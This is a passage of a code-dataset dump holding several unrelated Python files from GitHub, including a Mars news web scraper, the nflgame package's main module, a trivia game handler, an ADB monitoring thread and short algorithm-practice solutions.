por:\")\r\n\t\tn = input()\r\n\t\tn = int(n)\r\n\t\tx,y = pontos(n)\r\n\t\ttesta(x,y,n)\r\n\tif a == 3:\r\n\t\tsair = 1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"patriciarodrigues151/Me-todo-dos-Quadrados-Minimos-de-Interpolacaoo-Polinomial-Algebra-Linear","sub_path":"QuadradosMínimos.py","file_name":"QuadradosMínimos.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9753697029","text":"def solution(s):\n answer = ''\n\n s = s.split(' ')\n\n minn = int(1e9)\n maxx = -int(1e9)\n\n for i in s:\n if maxx <= int(i):\n maxx = int(i)\n\n if minn >= int(i):\n minn = int(i)\n\n answer += str(minn)\n answer += ' '\n answer += str(maxx)\n\n return answer","repo_name":"seulgi-mun/Algorithm","sub_path":"Python/Programmers/최댓값과 최솟값.py","file_name":"최댓값과 최솟값.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71185862632","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup as bs\nimport requests\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport pandas as pd\nimport time\n\ndef init_browser():\n executable_path = {'executable_path': ChromeDriverManager().install()}\n return Browser(\"chrome\", **executable_path, headless=True)\n\ndef scrape():\n browser = init_browser()\n\n url = \"https://mars.nasa.gov/news\"\n browser.visit(url)\n\n #scrape page into soup\n soup = bs(browser.html, \"html.parser\")\n\n #titles\n all_titles = soup.find_all(name='div', class_='content_title')\n news_title = all_titles[1].text.strip()\n\n #paragraph\n all_paragraph = soup.find_all(name='div', class_='article_teaser_body')\n news_p = all_paragraph[0].text.strip()\n\n #JPL Mars Space Images\n url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n browser.visit(url)\n\n soup = bs(browser.html, 'html.parser')\n\n img_url = soup.find('article', class_='carousel_item')['style'].replace('background-image: url(','').replace(');','')[1:-1]\n\n main_url = 'https://www.jpl.nasa.gov'\n\n featured_image_url = (main_url + img_url)\n\n #Mars Facts\n url = 'https://space-facts.com/mars/'\n browser.visit(url)\n\n tables = pd.read_html(url)\n df = tables[0]\n\n mars_df = df.to_html(classes= 'dataframe')\n\n #Mars Hemispheres\n\n url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(url)\n\n soup = bs(browser.html, 'html.parser')\n\n items = soup.find_all(name='div', class_='item')\n\n #Create empty list\n hemisphere_image_urls = []\n\n #Store main url\n main_url = 'https://astrogeology.usgs.gov'\n\n #Create loop\n for x in items:\n\n hemisphere_dict = {}\n #find titles\n title = x.find('h3').text\n \n #pull partial img url from main page\n partial_image_url = x.find('a', class_='itemLink product-item')['href']\n \n #Go to link that has the full image\n browser.visit(main_url + partial_image_url)\n \n #Create new soup\n soup = bs(browser.html, 'html.parser')\n \n #Get full image source\n img_url = main_url + soup.find('img', class_='wide-image')['src']\n \n #Append the img names and links to a list of dicts\n hemisphere_dict = {\"titles\": title, \"img_url\": img_url}\n \n hemisphere_image_urls.append(hemisphere_dict)\n\n #store data in dictionary\n mars_dict = {\n 'news_title': news_title,\n 'news_paragraph': news_p,\n 'featured_image': featured_image_url,\n 'mars_facts': mars_df,\n 'hemisphere_image_urls': hemisphere_image_urls\n }\n\n browser.quit()\n \n return mars_dict\n","repo_name":"jmahon22/web_scraping_challenge","sub_path":"Missions_to_Mars/scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72393049832","text":"import sys\ninput = sys.stdin.readline\n\nans = []\n\ntc = int(input())\n\nfor _ in range(tc):\n num = list(input().strip())\n num = [int(x) for x in num]\n ans.append(max(num))\nprint('\\n'.join(map(str,ans)))\n","repo_name":"112224/algorithm","sub_path":"python3/A. Binary Decimal.py","file_name":"A. Binary Decimal.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69813015274","text":"from sys import *\ninput = lambda: stdin.readline().rstrip()\nK, N = map(int, input().split())\nwire = [int(input()) for _ in range(K)]\n\ndef cut(cutter):\n return sum([i//cutter for i in wire])\n\ndef BS(a,b):\n #print(a,b)\n m=(a+b)//2\n if b-a<=1:\n if cut(b)>=N:\n return b\n else:\n return a\n if cut(m)>=N:\n return(BS(m,b))\n else:# cut(m)', '<', '&', '.', ')', '(', ':', ',', \"'\", \"''\", '$', '%', ';', '=', '+', \"#\", \"ffff00\", \"00FFFF\", \"span\", \"/span\", \"style=\", \"background-color\"]\n\n\ndef zipf(data, flag):\n total_freq = []\n total_word = []\n '''\n iterate each artical\n '''\n for one in data:\n freq = []\n word = []\n '''\n flag == TRUE -> xml data, we manipulate both PubMed title and content\n flag == FALSE -> json data, we only manipulate tweet content.\n '''\n if flag:\n artical = one.title + \" \" + one.content\n else:\n artical = one.content\n token = nltk.word_tokenize(artical.lower())\n # token = re.split(r'\\w+', artical)\n # token = artical.split()\n '''\n tokenize artical.\n calculate each word freq and sort by freq.\n '''\n token_lower = [w.lower().strip('-') for w in token]\n\n words = set(token_lower)\n counts = [(w, token_lower.count(w))\n for w in words if w not in exclusive_token]\n zipf_dataset = []\n [zipf_dataset.append(zipf_data(w, c)) for (w, c) in counts]\n zipf_dataset.sort(key=lambda x: x.freq, reverse=True)\n\n i = 0\n for each in zipf_dataset:\n if i < 30:\n freq.append(each.freq)\n word.append(each.token)\n i = i + 1\n else:\n break\n\n total_freq.append(freq)\n total_word.append(word)\n\n return total_word, total_freq\n","repo_name":"TsungHuaLee/Bio_Information_Retrievel","sub_path":"IR_HW/search/zipf_law.py","file_name":"zipf_law.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10650072455","text":"import pandas as pd\nfrom urllib.parse import unquote\nfrom random import shuffle\n\nfrom .GameHandler import GameHandler\n\n\nclass Trivia(GameHandler):\n def start(self):\n self.stages = {}\n for i in range(int(self.data[\"numRounds\"])):\n self.stages[i + 1] = self.getVotes\n\n self.stages[len(self.stages) + 1] = self.end\n\n self.data[\"votes\"] = {}\n self.data[\"scores\"] = {}\n\n self.get_questions()\n\n self.data[\"question_num\"] = 0\n \n def get_info(self, username):\n d = self.game_state\n if self.currentStage == 0:\n d.update({'waiting_for_players':True})\n return d\n if len(self.data[\"votes\"]) >= len(self.players):\n self.update_scores()\n self.data[\"votes\"] = {}\n self.currentStage += 1\n self.data['question_num'] += 1\n d.update(self.stages[self.currentStage](username))\n return d\n\n def post_info(self, data : dict, username):\n if self.currentStage == 0:\n for player in self.players: self.data['scores'][player] = 0\n self.currentStage += 1\n return True\n if username not in self.data[\"votes\"]:\n self.data[\"votes\"][username] = data[\"buttonText\"]\n return True\n return False\n\n def update_scores(self):\n for player, answer in self.data[\"votes\"].items():\n if answer == self.data[\"questions\"][self.data[\"question_num\"]][\"correct\"]:\n self.data[\"scores\"][player] = self.data[\"scores\"].get(player, 0) + 1\n return None\n\n def getVotes(self, username):\n d = {\n \"phoneMessage\": self.data[\"questions\"][self.data[\"question_num\"]][\"question\"],\n \"hostMessage\": self.data[\"questions\"][self.data[\"question_num\"]][\"question\"],\n \"buttons\": self.data[\"questions\"][self.data[\"question_num\"]][\"answer_choices\"],\n \"currentStage\": self.currentStage,\n }\n return d\n\n def end(self, username):\n d = {\n \"message\": \"WINNER: {0}\".format(\n max(\n self.data[\"scores\"].items(),\n key=(lambda x: x[1])\n )[0]\n ),\n \"table\": self.data[\"scores\"],\n \"currentStage\": self.currentStage,\n }\n return d\n\n def get_questions(self):\n q_dict = requests.get(\n \"https://opentdb.com/api.php?amount=3&difficulty=medium\"\n ).json()[\"results\"]\n\n self.data[\"questions\"] = list(map(\n lambda q : {\n \"question\": unquote(\n q[\"question\"]\n ),\n \"correct\": unquote(q[\"correct_answer\"]),\n \"answer_choices\": (\n [unquote(q[\"correct_answer\"])] + [unquote(j) for j in q[\"incorrect_answers\"]]\n )\n },\n q_dict\n ))\n for x in self.data[\"questions\"]:\n shuffle(x[\"answer_choices\"])\n return None\n","repo_name":"bmeares/CUHackit2020","sub_path":"src/games/Trivia.py","file_name":"Trivia.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"3739177319","text":"import numpy as np\r\n\r\nx = np.array([1, 2, 5])\r\ny = np.array([2, 4, 9])\r\n\r\ncon = []\r\nfor i in range(y.size):\r\n if i == 0:\r\n con.extend(x*y[i])\r\n print(\"{} ---- >{}\".format(i + 1, x * y[i]))\r\n continue\r\n\r\n tmp = x*y[i]\r\n print(\"{} ---- >{}\".format(i + 1, tmp))\r\n for j in range(tmp.size):\r\n start = j+i\r\n try:\r\n con[start] = con[start] + tmp[j]\r\n\r\n except IndexError:\r\n con.append(tmp[j])\r\n\r\n","repo_name":"ArdenteX/Predict-the-therapeutic-effect-of-Bevacizumab-treatment","sub_path":"Ovarian/convolution.py","file_name":"convolution.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30322012871","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/6/14 17:25\n# @Author : qingping.niu\n# @File : threadUtils.py\n# @desc :\n\nimport threading,time\nfrom com.mibc.adb.adbCommand import getCpu,getMemory,getFlow\n\nclass ThreadUtils(threading.Thread):\n\n def __init__(self,*avgs,**kwargs):\n threading.Thread.__init__(self)\n self.avgs = avgs\n self.__flag = threading.Event() # 用于暂停线程的标识\n self.__flag.set() # 设置为True\n self.__running = threading.Event() # 用于停止线程的标识\n self.__running.set() # 将running设置为True\n\n def run(self):\n while self.__running.isSet():\n self.__flag.wait()\n print(self.avgs[0])\n self.cpu_result = getCpu(self.avgs[0])\n self.mem_result = getMemory(self.avgs[0])\n self.flow_result = getFlow(self.avgs[0])\n # print(self.cpu_result,self.mem_result,self.flow_result)\n self.get_result()\n\n time.sleep(3)\n\n\n def get_result(self):\n print(\"*********\")\n try:\n return self.cpu_result, self.mem_result, self.flow_result # 如果子线程不使用join方法,此处可能会报没有self.result的错误\n except Exception:\n return None\n\n def pause(self):\n self.__flag.clear() # 设置为False, 让线程阻塞\n\n def resume(self):\n self.__flag.set() # 设置为True, 让线程停止阻塞\n\n def stop(self):\n self.__flag.clear() # 设置为False, 让线程阻塞\n self.__flag.set() # 将线程从暂停状态恢复, 如何已经暂停的话\n self.__running.clear() # 设置为False\n\n\n\n# if __name__=='__main__':\n# t = ThreadUtils('com.tcl.joylockscreen')\n# t.start()\n# t.join()\n# result = t.get_result()\n#\n# print('----------',result)\n\n\n\n\n\n\n","repo_name":"nqping/AndroidTools","sub_path":"com/mibc/utils/threadUtils.py","file_name":"threadUtils.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14320999611","text":"\"\"\"\nnflgame is an API to retrieve and read NFL Game Center JSON data.\nIt can work with real-time data, which can be used for fantasy football.\n\nnflgame works by parsing the same JSON data that powers NFL.com's live\nGameCenter. Therefore, nflgame can be used to report game statistics while\na game is being played.\n\nThe package comes pre-loaded with game data from every pre- and regular\nseason game from 2009 up until the present (I try to update it every week).\nTherefore, querying such data does not actually ping NFL.com.\n\nHowever, if you try to search for data in a game that is being currently\nplayed, the JSON data will be downloaded from NFL.com at each request (so be\ncareful not to inspect for data too many times while a game is being played).\nIf you ask for data for a particular game that hasn't been cached to disk\nbut is no longer being played, it will be automatically cached to disk\nso that no further downloads are required.\n\nHere's a quick teaser to find the top 5 running backs by rushing yards in the\nfirst week of the 2013 season:\n\n #!python\n import nflgame\n\n games = nflgame.games(2013, week=1)\n players = nflgame.combine_game_stats(games)\n for p in players.rushing().sort('rushing_yds').limit(5):\n msg = '%s %d carries for %d yards and %d TDs'\n print msg % (p, p.rushing_att, p.rushing_yds, p.rushing_tds)\n\nAnd the output is:\n\n L.McCoy 31 carries for 184 yards and 1 TDs\n T.Pryor 13 carries for 112 yards and 0 TDs\n S.Vereen 14 carries for 101 yards and 0 TDs\n A.Peterson 18 carries for 93 yards and 2 TDs\n R.Bush 21 carries for 90 yards and 0 TDs\n\nOr you could find the top 5 passing plays in the same time period:\n\n #!python\n import nflgame\n\n games = nflgame.games(2013, week=1)\n plays = nflgame.combine_plays(games)\n for p in plays.sort('passing_yds').limit(5):\n print p\n\nAnd the output is:\n\n (DEN, DEN 22, Q4, 3 and 8) (4:42) (Shotgun) P.Manning pass\n short left to D.Thomas for 78 yards, TOUCHDOWN. Penalty on\n BAL-E.Dumervil, Defensive Offside, declined.\n (DET, DET 23, Q3, 3 and 7) (5:58) (Shotgun) M.Stafford pass short\n middle to R.Bush for 77 yards, TOUCHDOWN.\n (NYG, NYG 30, Q2, 1 and 10) (2:01) (No Huddle, Shotgun) E.Manning\n pass deep left to V.Cruz for 70 yards, TOUCHDOWN. Pass complete on\n a fly pattern.\n (NO, NO 24, Q2, 2 and 6) (5:11) (Shotgun) D.Brees pass deep left to\n K.Stills to ATL 9 for 67 yards (R.McClain; R.Alford). Pass 24, YAC\n 43\n (NYG, NYG 20, Q1, 1 and 10) (13:04) E.Manning pass short middle\n to H.Nicks pushed ob at DAL 23 for 57 yards (M.Claiborne). Pass\n complete on a slant pattern.\n\nIf you aren't a programmer, then the\n[tutorial for non programmers](http://goo.gl/y05fVj) is for you.\n\nIf you need help, please come visit us at IRC/FreeNode on channel `#nflgame`.\nIf you've never used IRC before, then you can\n[use a web client](http://webchat.freenode.net/?channels=%23nflgame).\n(Enter any nickname you like, make sure the channel is `#nflgame`, fill in\nthe captcha and hit connect.)\n\nFailing IRC, the second fastest way to get help is to\n[open a new issue on the\ntracker](https://github.com/BurntSushi/nflgame/issues/new).\nThere are several active contributors to nflgame that watch the issue tracker.\nWe tend to respond fairly quickly!\n\"\"\"\n\nimport itertools\n\nimport sys\n\nif sys.version_info[:2] != (2, 7):\n print(\"nflgame requires Python 2.7 and does not yet work with Python 3\")\n print(\"You are running Python version {}.{}\".format(\n sys.version_info.major, sys.version_info.minor))\n sys.exit(1)\n\nimport nflgame.game # noqa\nimport nflgame.live # noqa\nimport nflgame.player # noqa\nimport nflgame.sched # noqa\nimport nflgame.seq # noqaj\nfrom nflgame.version import __version__ # noqa\n\nVERSION = __version__ # Deprecated. Backwards compatibility.\n\nNoPlayers = nflgame.seq.GenPlayerStats(None)\n\"\"\"\nNoPlayers corresponds to the identity element of a Players sequences.\n\nNamely, adding it to any other Players sequence has no effect.\n\"\"\"\n\nplayers = nflgame.player._create_players()\n\"\"\"\nA dict of all players and meta information about each player keyed\nby GSIS ID. (The identifiers used by NFL.com GameCenter.)\n\"\"\"\n\nteams = [\n ['ARI', 'Arizona', 'Cardinals', 'Arizona Cardinals'],\n ['ATL', 'Atlanta', 'Falcons', 'Atlanta Falcons'],\n ['BAL', 'Baltimore', 'Ravens', 'Baltimore Ravens'],\n ['BUF', 'Buffalo', 'Bills', 'Buffalo Bills'],\n ['CAR', 'Carolina', 'Panthers', 'Carolina Panthers'],\n ['CHI', 'Chicago', 'Bears', 'Chicago Bears'],\n ['CIN', 'Cincinnati', 'Bengals', 'Cincinnati Bengals'],\n ['CLE', 'Cleveland', 'Browns', 'Cleveland Browns'],\n ['DAL', 'Dallas', 'Cowboys', 'Dallas Cowboys'],\n ['DEN', 'Denver', 'Broncos', 'Denver Broncos'],\n ['DET', 'Detroit', 'Lions', 'Detroit Lions'],\n ['GB', 'Green Bay', 'Packers', 'Green Bay Packers', 'G.B.', 'GNB'],\n ['HOU', 'Houston', 'Texans', 'Houston Texans'],\n ['IND', 'Indianapolis', 'Colts', 'Indianapolis Colts'],\n ['JAC', 'Jacksonville', 'Jaguars', 'Jacksonville Jaguars', 'JAX'],\n ['KC', 'Kansas City', 'Chiefs', 'Kansas City Chiefs', 'K.C.', 'KAN'],\n ['LA', 'Los Angeles', 'Rams', 'Los Angeles Rams', 'L.A.'],\n ['MIA', 'Miami', 'Dolphins', 'Miami Dolphins'],\n ['MIN', 'Minnesota', 'Vikings', 'Minnesota Vikings'],\n ['NE', 'New England', 'Patriots', 'New England Patriots', 'N.E.', 'NWE'],\n ['NO', 'New Orleans', 'Saints', 'New Orleans Saints', 'N.O.', 'NOR'],\n ['NYG', 'Giants', 'New York Giants', 'N.Y.G.'],\n ['NYJ', 'Jets', 'New York Jets', 'N.Y.J.'],\n ['OAK', 'Oakland', 'Raiders', 'Oakland Raiders'],\n ['PHI', 'Philadelphia', 'Eagles', 'Philadelphia Eagles'],\n ['PIT', 'Pittsburgh', 'Steelers', 'Pittsburgh Steelers'],\n ['SD', 'San Diego', 'Chargers', 'San Diego Chargers', 'S.D.', 'SDG'],\n ['SEA', 'Seattle', 'Seahawks', 'Seattle Seahawks'],\n ['SF', 'San Francisco', '49ers', 'San Francisco 49ers', 'S.F.', 'SFO'],\n ['STL', 'St. Louis', 'Rams', 'St. Louis Rams', 'S.T.L.'],\n ['TB', 'Tampa Bay', 'Buccaneers', 'Tampa Bay Buccaneers', 'T.B.', 'TAM'],\n ['TEN', 'Tennessee', 'Titans', 'Tennessee Titans'],\n ['WAS', 'Washington', 'Redskins', 'Washington Redskins', 'WSH'],\n]\n\"\"\"\nA list of all teams. Each item is a list of different ways to\ndescribe a team. (i.e., JAC, JAX, Jacksonville, Jaguars, etc.).\nThe first item in each list is always the standard NFL.com\nteam abbreviation (two or three letters).\n\"\"\"\n\n\ndef find(name, team=None):\n \"\"\"\n Finds a player (or players) with a name matching (case insensitive)\n name and returns them as a list.\n\n If team is not None, it is used as an additional search constraint.\n \"\"\"\n hits = []\n for player in players.itervalues():\n if player.name.lower() == name.lower():\n if team is None or team.lower() == player.team.lower():\n hits.append(player)\n return hits\n\n\ndef standard_team(team):\n \"\"\"\n Returns a standard abbreviation when team corresponds to a team in\n nflgame.teams (case insensitive). All known variants of a team name are\n searched. If no team is found, None is returned.\n \"\"\"\n team = team.lower()\n for variants in teams:\n for variant in variants:\n if team == variant.lower():\n return variants[0]\n return None\n\n\ndef games(year, week=None, home=None, away=None, kind='REG', started=False):\n \"\"\"\n games returns a list of all games matching the given criteria. Each\n game can then be queried for player statistics and information about\n the game itself (score, winner, scoring plays, etc.).\n\n As a special case, if the home and away teams are set to the same team,\n then all games where that team played are returned.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n Note that if a game's JSON data is not cached to disk, it is retrieved\n from the NFL web site. A game's JSON data is *only* cached to disk once\n the game is over, so be careful with the number of times you call this\n while a game is going on. (i.e., don't piss off NFL.com.)\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n return list(games_gen(year, week, home, away, kind, started))\n\n\ndef games_gen(year, week=None, home=None, away=None,\n kind='REG', started=False):\n \"\"\"\n games returns a generator of all games matching the given criteria. Each\n game can then be queried for player statistics and information about\n the game itself (score, winner, scoring plays, etc.).\n\n As a special case, if the home and away teams are set to the same team,\n then all games where that team played are returned.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n Note that if a game's JSON data is not cached to disk, it is retrieved\n from the NFL web site. A game's JSON data is *only* cached to disk once\n the game is over, so be careful with the number of times you call this\n while a game is going on. (i.e., don't piss off NFL.com.)\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n infos = _search_schedule(year, week, home, away, kind, started)\n if not infos:\n return None\n\n def gen():\n for info in infos:\n g = nflgame.game.Game(info['eid'])\n if g is None:\n continue\n yield g\n return gen()\n\n\ndef one(year, week, home, away, kind='REG', started=False):\n \"\"\"\n one returns a single game matching the given criteria. The\n game can then be queried for player statistics and information about\n the game itself (score, winner, scoring plays, etc.).\n\n one returns either a single game or no games. If there are multiple games\n matching the given criteria, an assertion is raised.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n Note that if a game's JSON data is not cached to disk, it is retrieved\n from the NFL web site. A game's JSON data is *only* cached to disk once\n the game is over, so be careful with the number of times you call this\n while a game is going on. (i.e., don't piss off NFL.com.)\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n infos = _search_schedule(year, week, home, away, kind, started)\n if not infos:\n return None\n assert len(infos) == 1, 'More than one game matches the given criteria.'\n return nflgame.game.Game(infos[0]['eid'])\n\n\ndef combine(games, plays=False):\n \"\"\"\n DEPRECATED. Please use one of nflgame.combine_{game,play,max}_stats\n instead.\n\n Combines a list of games into one big player sequence containing game\n level statistics.\n\n This can be used, for example, to get PlayerStat objects corresponding to\n statistics across an entire week, some number of weeks or an entire season.\n\n If the plays parameter is True, then statistics will be dervied from\n play by play data. This mechanism is slower but will contain more detailed\n statistics like receiver targets, yards after the catch, punt and field\n goal blocks, etc.\n \"\"\"\n if plays:\n return combine_play_stats(games)\n else:\n return combine_game_stats(games)\n\n\ndef combine_game_stats(games):\n \"\"\"\n Combines a list of games into one big player sequence containing game\n level statistics.\n\n This can be used, for example, to get GamePlayerStats objects corresponding\n to statistics across an entire week, some number of weeks or an entire\n season.\n \"\"\"\n return reduce(lambda ps1, ps2: ps1 + ps2,\n [g.players for g in games if g is not None])\n\n\ndef combine_play_stats(games):\n \"\"\"\n Combines a list of games into one big player sequence containing play\n level statistics.\n\n This can be used, for example, to get PlayPlayerStats objects corresponding\n to statistics across an entire week, some number of weeks or an entire\n season.\n\n This function should be used in lieu of combine_game_stats when more\n detailed statistics such as receiver targets, yards after the catch and\n punt/FG blocks are needed.\n\n N.B. Since this combines *all* play data, this function may take a while\n to complete depending on the number of games passed in.\n \"\"\"\n return reduce(lambda p1, p2: p1 + p2,\n [g.drives.players() for g in games if g is not None])\n\n\ndef combine_max_stats(games):\n \"\"\"\n Combines a list of games into one big player sequence containing maximum\n statistics based on game and play level statistics.\n\n This can be used, for example, to get GamePlayerStats objects corresponding\n to statistics across an entire week, some number of weeks or an entire\n season.\n\n This function should be used in lieu of combine_game_stats or\n combine_play_stats when the best possible accuracy is desired.\n \"\"\"\n return reduce(lambda a, b: a + b,\n [g.max_player_stats() for g in games if g is not None])\n\n\ndef combine_plays(games):\n \"\"\"\n Combines a list of games into one big play generator that can be searched\n as if it were a single game.\n \"\"\"\n chain = itertools.chain(*[g.drives.plays() for g in games])\n return nflgame.seq.GenPlays(chain)\n\n\ndef _search_schedule(year, week=None, home=None, away=None, kind='REG',\n started=False):\n \"\"\"\n Searches the schedule to find the game identifiers matching the criteria\n given.\n\n The kind parameter specifies whether to fetch preseason, regular season\n or postseason games. Valid values are PRE, REG and POST.\n\n The week parameter is relative to the value of the kind parameter, and\n may be set to a list of week numbers.\n In the regular season, the week parameter corresponds to the normal\n week numbers 1 through 17. Similarly in the preseason, valid week numbers\n are 1 through 4. In the post season, the week number corresponds to the\n numerical round of the playoffs. So the wild card round is week 1,\n the divisional round is week 2, the conference round is week 3\n and the Super Bowl is week 4.\n\n The year parameter specifies the season, and not necessarily the actual\n year that a game was played in. For example, a Super Bowl taking place\n in the year 2011 actually belongs to the 2010 season. Also, the year\n parameter may be set to a list of seasons just like the week parameter.\n\n If started is True, then only games that have already started (or are\n about to start in less than 5 minutes) will be returned. Note that the\n started parameter requires pytz to be installed. This is useful when\n you only want to collect stats from games that have JSON data available\n (as opposed to waiting for a 404 error from NFL.com).\n \"\"\"\n infos = []\n for info in nflgame.sched.games.itervalues():\n y, t, w = info['year'], info['season_type'], info['week']\n h, a = info['home'], info['away']\n if year is not None:\n if isinstance(year, list) and y not in year:\n continue\n if not isinstance(year, list) and y != year:\n continue\n if week is not None:\n if isinstance(week, list) and w not in week:\n continue\n if not isinstance(week, list) and w != week:\n continue\n if home is not None and away is not None and home == away:\n if h != home and a != home:\n continue\n else:\n if home is not None and h != home:\n continue\n if away is not None and a != away:\n continue\n if t != kind:\n continue\n if started:\n gametime = nflgame.live._game_datetime(info)\n now = nflgame.live._now()\n if gametime > now and (gametime - now).total_seconds() > 300:\n continue\n infos.append(info)\n return infos\n","repo_name":"BurntSushi/nflgame","sub_path":"nflgame/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":19445,"program_lang":"python","lang":"en","doc_type":"code","stars":1258,"dataset":"github-code","pt":"72"} +{"seq_id":"15458702914","text":"import quandl as q\nimport pandas as pd\nimport numpy as np\nimport config\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.neighbors import RadiusNeighborsClassifier\n\nimport TA as ta\n\nq.ApiConfig.api_key = config.quandl_key\n\n\nclass dataclass:\n i=0\n dataset_width = 0\n dataset_length = 0\n datares_width = 0\n\n dataset = pd.DataFrame()\n datares = pd.DataFrame()\n\n def __init__(self, df=None, columns=None, rescolumns=None):\n i = 1\n if df != None:\n if columns == None:\n columns = range(0, df.dataset_width)\n if rescolumns == None:\n rescolumns = range(0, df.datares_width)\n self.dataset = pd.DataFrame(df.dataset.ix[:,columns])\n self.datares = pd.DataFrame(df.datares.ix[:,rescolumns])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n def create(self, filename, rescolumns = 1, dropna=False, fillna=False):\n dataset = pd.read_csv(filename, index_col='DateTime', parse_dates=True)\n\n if dropna == True:\n dataset = dataset.dropna(axis=0)\n if fillna == True:\n dataset = dataset.fillna(0)\n\n self.dataset = pd.DataFrame(dataset.ix[:, range(0, dataset.shape[1] - rescolumns)])\n self.datares = pd.DataFrame(dataset.ix[:, range(dataset.shape[1] - rescolumns, dataset.shape[1])])\n\n self.dataset_length = self.dataset.shape[0]\n self.dataset_width = self.dataset.shape[1]\n self.datares_width = self.datares.shape[1]\n\n def prenormalize(self, sdev=0, NormRes=False):\n if sdev == 0:\n return\n for i in range(0, self.insample_data.shape[1]):\n mean = self.insample_data.iloc[:,i].mean()\n stddev = self.insample_data.iloc[:,i].std()\n self.insample_res = self.insample_res[ abs((self.insample_data.iloc[:, i] - mean)/stddev) < sdev ]\n self.insample_data = self.insample_data[ abs((self.insample_data.iloc[:, i] - mean)/stddev) < sdev ]\n if NormRes == True:\n for i in range(0, self.insample_res.shape[1]):\n mean = self.insample_res.iloc[:, i].mean()\n stddev = self.insample_res.iloc[:, i].std()\n self.insample_data = self.insample_data[abs((self.insample_res.iloc[:, i] - mean) / stddev) < sdev ]\n self.insample_res = self.insample_res[abs((self.insample_res.iloc[:, i] - mean) / stddev) < sdev ]\n\n\n def normalize(self, NormRes=False):\n for i in range(0, self.insample_data.shape[1]):\n mean = self.insample_data.iloc[:,i].mean()\n stddev = self.insample_data.iloc[:,i].std()\n self.insample_data.iloc[:, i] = (self.insample_data.iloc[:, i] - mean) / stddev\n if self.learn_data.shape[0] > 0: self.learn_data.iloc[:, i] = (self.learn_data.iloc[:, i] - mean) / stddev\n self.outofsample_data.iloc[:, i] = (self.outofsample_data.iloc[:, i] - mean) / stddev\n if NormRes == True:\n for i in range(0, self.insample_res.shape[1]):\n mean = self.insample_res.iloc[:, i].mean()\n stddev = self.insample_res.iloc[:, i].std()\n self.insample_res.iloc[:, i] = (self.insample_res.iloc[:, i] - mean) / stddev\n if 